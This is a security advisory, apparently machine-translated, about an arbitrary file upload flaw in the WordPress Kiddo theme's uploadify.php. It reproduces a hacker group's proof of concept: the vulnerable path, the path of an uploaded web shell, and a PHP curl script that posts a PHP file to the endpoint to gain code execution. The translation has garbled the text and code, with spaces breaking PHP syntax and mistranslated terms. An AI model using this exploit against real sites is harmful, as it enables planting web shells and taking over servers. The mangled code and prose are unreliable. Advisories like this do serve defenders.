WordPress Kiddo Theme "uploadify. php" Arbitrary File Upload Vulnerability

Release date:
Updated on:

Affected Systems:
WordPress Kiddo 1.x
Description:
--------------------------------------------------------------------------------
WordPress Kiddo is a child topic of WordPress.

WordPress Kiddo/wp-content/themes/kiddo/app/assets/js/uploadify. the php script allows you to upload files with any extension to the webroot folder. If the uploaded files contain malicious PHP scripts, arbitrary PHP code can be executed.

<* Source: TUNISIAN CYBER

Link: http://secunia.com/advisories/56874/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

? Php
*/
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Kidoo WP Theme File Upload Vulnerability
[+] Date: 05-02-2014
[+] Category: WebApp
[+] Google Dork ::(
[+] Tested on: KaliLinux
[+] Vendor: n/
[+] Friendly Sites: na3il.com, th3-creative.com

Kiddo WP theme suffers from a File Upload Vulnerability

+ PoC:
Site/wp-content/themes/kiddo/app/assets/js/uploadify. php

+ Shell Path:
Site/3devil. php

ScreenShot:
Http:// I .imgur.com/c62cWHH.png

Greets to: XMaX-tn, N43il HacK3r, XtechSEt
Sec4Ever Members:
DamaneDz
UzunDz
GEOIX
E4A Members:
Gastro-DZ

*/

Echo "============================================== ===========\ n ";
Echo "Kiddo WP Theme File Upload Vulnerability \ n ";
Echo "tunisian cyber \ n ";
Echo "============================================== ===========\ n \ n ";
$ Uploadfile = "cyber. php ";

$ Ch = curl_init ("site-content/themes/kiddo/app/assets/js/uploadify. php ");
Curl_setopt ($ ch, CURLOPT_POST, true );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, array ('filedata' => "@ $ uploadfile "));
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
$ PostResult = curl_exec ($ ch );
Curl_close ($ ch );
Print "$ postResult ";

?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

WordPress
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://themeforest.net/item/kiddo-a-powerful-kids-theme/802808